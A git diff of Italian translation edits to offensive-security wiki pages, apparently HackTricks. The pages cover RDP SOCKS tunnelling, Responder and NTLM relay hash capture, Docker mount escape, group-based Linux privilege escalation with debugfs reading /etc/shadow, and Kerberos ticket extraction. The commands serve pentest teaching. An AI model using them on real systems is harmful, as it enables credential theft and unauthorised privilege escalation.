||||
È necessario avere **accesso RDP al sistema**.\
|
||||
Scarica:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzionalità Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
@ -354,7 +354,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
|
||||
**Connettersi** tramite **RDP** e caricare ed eseguire nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -362,13 +362,13 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi utilizzare [**Proxifier**](https://www.proxifier.com/) **per proxy il traffico attraverso quella porta.**
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare da proxy al traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
Puoi far navigare le app GUI di Windows attraverso un proxy utilizzando [**Proxifier**](https://www.proxifier.com/).\
|
||||
Puoi fare in modo che le app GUI di Windows navigano attraverso un proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che desideri proxificare.
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che vuoi proxificare.
|
||||
|
||||
## Bypass del proxy NTLM
|
||||
|
||||
@ -381,7 +381,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Autenticandosi contro un proxy, crea un binding di una porta localmente che viene inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Autenticandosi contro un proxy, crea un collegamento a una porta locale che è inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Ad esempio, inoltra la porta 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -438,7 +438,7 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Cambiare il DNS di proxychains
|
||||
#### Cambiare DNS di proxychains
|
||||
|
||||
Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** puoi impostare l'IP del **domain controller**.
|
||||
|
||||
|
||||
@ -18,9 +18,9 @@
|
||||
- La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
|
||||
- Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD malevoli.
|
||||
|
||||
### Responder per il Poisoning dei Protocolli
|
||||
### Responder per il Veleno dei Protocolli
|
||||
|
||||
- **Responder** è uno strumento utilizzato per il poisoning delle query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
|
||||
- **Responder** è uno strumento utilizzato per avvelenare le query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
|
||||
- È preinstallato in Kali Linux, configurabile in `/etc/responder/Responder.conf`.
|
||||
- Responder visualizza gli hash catturati sullo schermo e li salva nella directory `/usr/share/responder/logs`.
|
||||
- Supporta sia IPv4 che IPv6.
|
||||
@ -34,9 +34,9 @@
|
||||
- L'impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
|
||||
- Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Poisoning DHCP con Responder
|
||||
### Avvelenamento DHCP con Responder
|
||||
|
||||
- Spoofing delle risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva al poisoning ARP.
|
||||
- Falsificare le risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva all'avvelenamento ARP.
|
||||
- Richiede una conoscenza precisa della configurazione della rete target.
|
||||
- Esecuzione dell'attacco: `./Responder.py -I eth0 -Pdv`
|
||||
- Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni della rete.
|
||||
@ -46,14 +46,14 @@
|
||||
- Responder impersonerà i servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi falsificati.
|
||||
- Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una cracking delle credenziali più semplice.
|
||||
|
||||
È fondamentale notare che l'impiego di queste tecniche deve avvenire legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.
|
||||
È fondamentale notare che l'impiego di queste tecniche deve essere effettuato legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo spoofing e attacchi man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
Inveigh è uno strumento per tester di penetrazione e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo attacchi di spoofing e man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Inveigh può essere operato tramite PowerShell:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
O eseguito come un binario C#:
|
||||
@ -107,7 +107,7 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
```
|
||||
Questi strumenti e tecniche formano un insieme completo per condurre attacchi NTLM Relay in vari ambienti di rete.
|
||||
|
||||
### Forzare le autenticazioni NTLM
|
||||
### Forzare i login NTLM
|
||||
|
||||
In Windows **potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie**. Leggi la pagina seguente per scoprire come:
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Abusare del Docker Socket per l'Escalation dei Privilegi
|
||||
# Abusing Docker Socket for Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,7 +10,7 @@ Puoi **montare** diverse parti del **filesystem** in un container in esecuzione
|
||||
Potresti anche **abusare di un mount per escalare i privilegi** all'interno del container.
|
||||
|
||||
- **`-v /:/host`** -> Monta il filesystem dell'host nel container in modo da poter **leggere il filesystem dell'host.**
|
||||
- Se vuoi **sentirti come se fossi nell'host** ma essere nel container, potresti disabilitare altri meccanismi di difesa usando opzioni come:
|
||||
- Se vuoi **sentirti come se fossi nell'host** ma essere nel container, puoi disabilitare altri meccanismi di difesa usando flag come:
|
||||
- `--privileged`
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
@ -20,7 +20,7 @@ Potresti anche **abusare di un mount per escalare i privilegi** all'interno del
|
||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Questo è simile al metodo precedente, ma qui stiamo **montando il disco del dispositivo**. Poi, all'interno del container esegui `mount /dev/sda1 /mnt` e puoi **accedere** al **filesystem dell'host** in `/mnt`
|
||||
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Questo è simile al metodo precedente, ma qui stiamo **montando il disco del dispositivo**. Poi, all'interno del container esegui `mount /dev/sda1 /mnt` e puoi **accedere** al **filesystem dell'host** in `/mnt`
|
||||
- Esegui `fdisk -l` nell'host per trovare il dispositivo `</dev/sda1>` da montare
|
||||
- **`-v /tmp:/host`** -> Se per qualche motivo puoi **solo montare una directory** dall'host e hai accesso all'interno dell'host. Montala e crea un **`/bin/bash`** con **suid** nella directory montata in modo da poter **eseguirlo dall'host e escalare a root**.
|
||||
|
||||
@ -29,15 +29,15 @@ Potresti anche **abusare di un mount per escalare i privilegi** all'interno del
|
||||
>
|
||||
> **Nota che non tutte le directory in una macchina linux supporteranno il bit suid!** Per controllare quali directory supportano il bit suid esegui `mount | grep -v "nosuid"` Ad esempio, di solito `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` e `/var/lib/lxcfs` non supportano il bit suid.
|
||||
>
|
||||
> Nota anche che se puoi **montare `/etc`** o qualsiasi altra cartella **contenente file di configurazione**, puoi modificarli dal container docker come root per **abusarne nell'host** e escalare i privilegi (magari modificando `/etc/shadow`)
|
||||
> Nota anche che se puoi **montare `/etc`** o qualsiasi altra cartella **contenente file di configurazione**, puoi modificarli dal container docker come root per **abusarli nell'host** e escalare i privilegi (magari modificando `/etc/shadow`)
|
||||
|
||||
### Uscire dal container
|
||||
### Escaping from the container
|
||||
|
||||
- **`--privileged`** -> Con questa opzione [rimuovi tutta l'isolamento dal container](docker-privileged.md#what-affects). Controlla le tecniche per [uscire dai container privilegiati come root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape).
|
||||
- **`--privileged`** -> Con questo flag [rimuovi tutta l'isolamento dal container](docker-privileged.md#what-affects). Controlla le tecniche per [uscire da container privilegiati come root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape).
|
||||
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Per [escalare abusando delle capacità](../linux-capabilities.md), **concedi quella capacità al container** e disabilita altri metodi di protezione che potrebbero impedire il funzionamento dell'exploit.
|
||||
|
||||
### Curl
|
||||
|
||||
In questa pagina abbiamo discusso modi per escalare i privilegi usando le opzioni docker, puoi trovare **modi per abusare di questi metodi usando il comando curl** nella pagina:
|
||||
In questa pagina abbiamo discusso modi per escalare i privilegi usando flag docker, puoi trovare **modi per abusare di questi metodi usando il comando curl** nella pagina:
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -19,12 +19,12 @@ L'obiettivo di armare un container distroless è essere in grado di **eseguire b
|
||||
|
||||
### Through memory
|
||||
|
||||
In arrivo in un certo momento del 2023...
|
||||
In arrivo a un certo punto del 2023...
|
||||
|
||||
### Via Existing binaries
|
||||
|
||||
#### openssl
|
||||
|
||||
\***\*[**In questo post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) si spiega che il binario **`openssl`** è frequentemente trovato in questi container, potenzialmente perché è **necessario\*\* dal software che verrà eseguito all'interno del container.
|
||||
\***\*[**In questo post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) si spiega che il binario **`openssl`** è frequentemente trovato in questi container, potenzialmente perché è **necessario** dal software che verrà eseguito all'interno del container.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **PE - Metodo 1**
|
||||
|
||||
**A volte**, **per impostazione predefinita (o perché qualche software ne ha bisogno)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe:
|
||||
**A volte**, **per impostazione predefinita (o perché alcuni software ne hanno bisogno)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -26,7 +26,7 @@ Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo usando `pkexec`.\
|
||||
Se trovi che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo usando `pkexec`.\
|
||||
Questo perché tipicamente questi sono i gruppi all'interno della **politica polkit**. Questa politica identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
|
||||
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -141,7 +141,7 @@ debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
|
||||
Nota che utilizzando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
@ -163,7 +163,7 @@ Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamen
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Raw image data**:
|
||||
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Dati immagine raw**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -173,7 +173,7 @@ Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e contro
|
||||
|
||||
## Gruppo Root
|
||||
|
||||
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi...
|
||||
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per elevare i privilegi...
|
||||
|
||||
**Controlla quali file i membri root possono modificare**:
|
||||
```bash
|
||||
@ -218,7 +218,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
## Gruppo Adm
|
||||
|
||||
Di solito i **membri** del gruppo **`adm`** hanno permessi per **leggere i file di log** situati in _/var/log/_.\
|
||||
Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sicuramente dare un **occhiata ai log**.
|
||||
Pertanto, se hai compromesso un utente all'interno di questo gruppo, dovresti sicuramente dare un **occhiata ai log**.
|
||||
|
||||
## Gruppo Auth
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
Una macchina linux può essere presente anche all'interno di un ambiente Active Directory.
|
||||
|
||||
Una macchina linux in un AD potrebbe **memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
|
||||
Una macchina linux in un AD potrebbe essere **in grado di memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
|
||||
|
||||
## Enumerazione
|
||||
|
||||
@ -20,7 +20,7 @@ Puoi anche controllare la seguente pagina per apprendere **altri modi per enumer
|
||||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un **directory LDAP** completo con un MIT **Kerberos** Key Distribution Center per la gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix. Scopri di più in:
|
||||
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un completo **LDAP directory** con un MIT **Kerberos** Key Distribution Center per una gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix. Scopri di più in:
|
||||
|
||||
{{#ref}}
|
||||
../freeipa-pentesting.md
|
||||
@ -49,7 +49,7 @@ krb5cc_1000
|
||||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### Riutilizzo del ticket CCACHE dalla keyring
|
||||
### Riutilizzo dei ticket CCACHE dalla keyring
|
||||
|
||||
**I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, in particolare quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile per questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e dumpando i ticket in `/tmp`.
|
||||
|
||||
@ -60,18 +60,18 @@ cd tickey/tickey
|
||||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
Questa procedura tenterà di iniettare in varie sessioni, indicando il successo memorizzando i ticket estratti in `/tmp` con una convenzione di denominazione di `__krb_UID.ccache`.
|
||||
Questa procedura tenterà di iniettare in varie sessioni, indicando il successo memorizzando i biglietti estratti in `/tmp` con una convenzione di denominazione di `__krb_UID.ccache`.
|
||||
|
||||
### Riutilizzo del ticket CCACHE da SSSD KCM
|
||||
### Riutilizzo del biglietto CCACHE da SSSD KCM
|
||||
|
||||
SSSD mantiene una copia del database nel percorso `/var/lib/sss/secrets/secrets.ldb`. La chiave corrispondente è memorizzata come file nascosto nel percorso `/var/lib/sss/secrets/.secrets.mkey`. Per impostazione predefinita, la chiave è leggibile solo se si dispone di permessi **root**.
|
||||
SSSD mantiene una copia del database al percorso `/var/lib/sss/secrets/secrets.ldb`. La chiave corrispondente è memorizzata come file nascosto al percorso `/var/lib/sss/secrets/.secrets.mkey`. Per impostazione predefinita, la chiave è leggibile solo se si dispone di permessi **root**.
|
||||
|
||||
Invocando \*\*`SSSDKCMExtractor` \*\* con i parametri --database e --key si analizzerà il database e si **decrypteranno i segreti**.
|
||||
Invocando **`SSSDKCMExtractor`** con i parametri --database e --key si analizzerà il database e **decrypterà i segreti**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache** utilizzabile che può essere passato a Mimikatz/Rubeus.
|
||||
Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache utilizzabile** che può essere passato a Mimikatz/Rubeus.
|
||||
|
||||
### Riutilizzo del ticket CCACHE da keytab
|
||||
```bash
|
||||
@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab
|
||||
|
||||
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una stretta riservatezza.
|
||||
|
||||
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa l'**NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
|
||||
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa la **NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
|
||||
@ -8,12 +8,12 @@ Nell'architettura ARMv8, i livelli di esecuzione, noti come Livelli di Eccezione
|
||||
|
||||
1. **EL0 - Modalità Utente**:
|
||||
- Questo è il livello meno privilegiato ed è utilizzato per eseguire codice di applicazione regolare.
|
||||
- Le applicazioni in esecuzione a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
|
||||
- Le applicazioni che girano a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
|
||||
2. **EL1 - Modalità Kernel del Sistema Operativo**:
|
||||
- La maggior parte dei kernel dei sistemi operativi gira a questo livello.
|
||||
- EL1 ha più privilegi di EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
|
||||
3. **EL2 - Modalità Hypervisor**:
|
||||
- Questo livello è utilizzato per la virtualizzazione. Un hypervisor in esecuzione a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) in esecuzione sullo stesso hardware fisico.
|
||||
- Questo livello è utilizzato per la virtualizzazione. Un hypervisor che gira a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) che girano sullo stesso hardware fisico.
|
||||
- EL2 fornisce funzionalità per l'isolamento e il controllo degli ambienti virtualizzati.
|
||||
4. **EL3 - Modalità Monitor Sicuro**:
|
||||
- Questo è il livello più privilegiato ed è spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione fidati.
|
||||
@ -31,38 +31,38 @@ ARM64 ha **31 registri a uso generale**, etichettati da `x0` a `x30`. Ognuno pu
|
||||
3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali.
|
||||
4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Sono anche utilizzati per chiamate di funzione indirette e stub della PLT (Procedure Linkage Table).
|
||||
- **`x16`** è utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**.
|
||||
5. **`x18`** - **Registro di Piattaforma**. Può essere utilizzato come registro a uso generale, ma su alcune piattaforme, questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco di ambiente del thread corrente in Windows, o per puntare alla struttura del **compito in esecuzione nel kernel linux**.
|
||||
5. **`x18`** - **Registro della piattaforma**. Può essere utilizzato come registro a uso generale, ma su alcune piattaforme, questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco di ambiente del thread locale in Windows, o per puntare alla struttura del task attualmente **in esecuzione nel kernel linux**.
|
||||
6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamato. Una funzione deve preservare i valori di questi registri per il suo chiamante, quindi vengono memorizzati nello stack e recuperati prima di tornare al chiamante.
|
||||
7. **`x29`** - **Puntatore di Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack a causa di una chiamata di funzione, il registro **`x29`** è **memorizzato nello stack** e l'indirizzo del **nuovo** puntatore di frame è (**indirizzo `sp`**) **memorizzato in questo registro**.
|
||||
- Questo registro può anche essere utilizzato come un **registro a uso generale** anche se di solito è usato come riferimento a **variabili locali**.
|
||||
7. **`x29`** - **Puntatore di Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack a causa di una chiamata di funzione, il registro **`x29`** è **memorizzato nello stack** e il **nuovo** indirizzo del puntatore di frame è (**indirizzo `sp`**) **memorizzato in questo registro**.
|
||||
- Questo registro può anche essere utilizzato come **registro a uso generale** anche se di solito è usato come riferimento a **variabili locali**.
|
||||
8. **`x30`** o **`lr`** - **Registro di Link**. Tiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore **`pc`** in questo registro.
|
||||
- Può anche essere utilizzato come qualsiasi altro registro.
|
||||
- Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottiene un nuovo `fp`) e lo recupera alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna).
|
||||
9. **`sp`** - **Puntatore di Stack**, utilizzato per tenere traccia della parte superiore dello stack.
|
||||
9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack.
|
||||
- il valore **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento** **quadword** o potrebbe verificarsi un'eccezione di allineamento.
|
||||
10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezione, ritorni di eccezione e salti. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di salto con link (BL, BLR) per memorizzare l'indirizzo **`pc`** in **`lr`** (Link Register).
|
||||
11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma di registro **a 32** bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti utilizzando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**).
|
||||
|
||||
I registri **`Wn`** sono la versione **a 32 bit** del registro **`Xn`**.
|
||||
|
||||
### Registri SIMD e a Punto Fisso
|
||||
### Registri SIMD e Floating-Point
|
||||
|
||||
Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di dati a istruzione singola multipla (SIMD) e per eseguire aritmetica a punto fisso. Questi sono chiamati registri Vn anche se possono operare anche in **64** bit, **32** bit, **16** bit e **8** bit e poi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
|
||||
Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di dati multipli a singola istruzione (SIMD) e per eseguire aritmetica in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in **64** bit, **32** bit, **16** bit e **8** bit e poi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
|
||||
|
||||
### Registri di Sistema
|
||||
|
||||
**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPRs), utilizzati per **monitorare** e **controllare** il comportamento dei **processori**.\
|
||||
Possono essere letti o impostati solo utilizzando le istruzioni speciali dedicate **`mrs`** e **`msr`**.
|
||||
|
||||
I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica l'**eccezione minima** da cui il registro può essere accessibile (in questo caso EL0 è il livello di eccezione (privilegio) regolare con cui i programmi normali vengono eseguiti).\
|
||||
Sono spesso utilizzati per memorizzare l'**indirizzo base della regione di memoria di storage locale per thread**. Di solito il primo è leggibile e scrivibile per i programmi in esecuzione a EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
|
||||
I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica l'**eccezione minima** da cui il registro può essere accessibile (in questo caso EL0 è il livello di eccezione regolare (privilegio) con cui girano i programmi regolari).\
|
||||
